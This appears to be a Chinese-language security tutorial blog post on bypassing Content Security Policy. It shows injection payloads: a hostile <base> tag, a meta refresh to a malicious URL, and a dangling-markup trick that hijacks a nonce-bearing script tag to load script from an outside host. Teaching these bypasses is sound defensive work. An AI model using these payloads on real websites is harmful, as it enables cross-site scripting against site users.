iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 17
1
Security

Web Security 魔法使攻略系列 第 17

Web Security 魔法使攻略─CSP bypasss

  • 分享至 

  • xImage
  •  

正文

先來介紹一下 <base>

  • 管理網頁中內部超連結的特性
  • 設定超連結預設連結網址與目標(開啟方式),
  • 須寫在 <head> 內才有效

情境 1
我們今天插入一個 <base href='惡意連結'>
那是不是超連結預設網址會被改變
那我們也可以改變載入的域名,引入惡意的 javascript

CSP 可以讓我們設定 base-uri 域名限定在自己身上
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">

情境 2
「如果今天這個網站他 CSP 設定寫了一個只限定自己域名,那我們要怎麼繞過。」
首先複習一下限定自己的域名的設定大概是
Content-Security-Policy: default-src 'self'; script-src 'self'
那我們就找看看這個網站裡面有沒有可以上傳的地方,然後取的上傳之後的路徑
就有相同的域名檔案了 ! 這時候再來繼續做檢測~

我們也可以利用 meta 中的屬性繞過
<meta http-equiv="refresh" content="1;url=惡意網址" >

情境 3

  1. 當你的 html 可能忘記一個標籤,瀏覽器他會自動幫你補全
  2. nonce值:每次 HTTP response 回傳 token,網頁中的 js 須有這個token,才會執行

ex
Content-Security-Policy: script-src 'nonce-asafjo309492104oekf'

<script nonce=asafjo309492104oekf>
  // code
</script>

以上範例才會執行

舉個範例

<p>使用者可以輸入的內容</p>
<script src="OOOOO" nonce="aabbccddee"></script>

這時候攻擊者輸入
<script src=http://feifei.com.tw a="

<p><script src=http://feifei.com.tw a="</p><script" src="OOOOO" nonce="aabbccddee"></script>

<script" 被瀏覽器補全


上一篇
Web Security 魔法使攻略─嗑一下 CSP
下一篇
Web Security 魔法使攻略─Command injection
系列文
Web Security 魔法使攻略30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言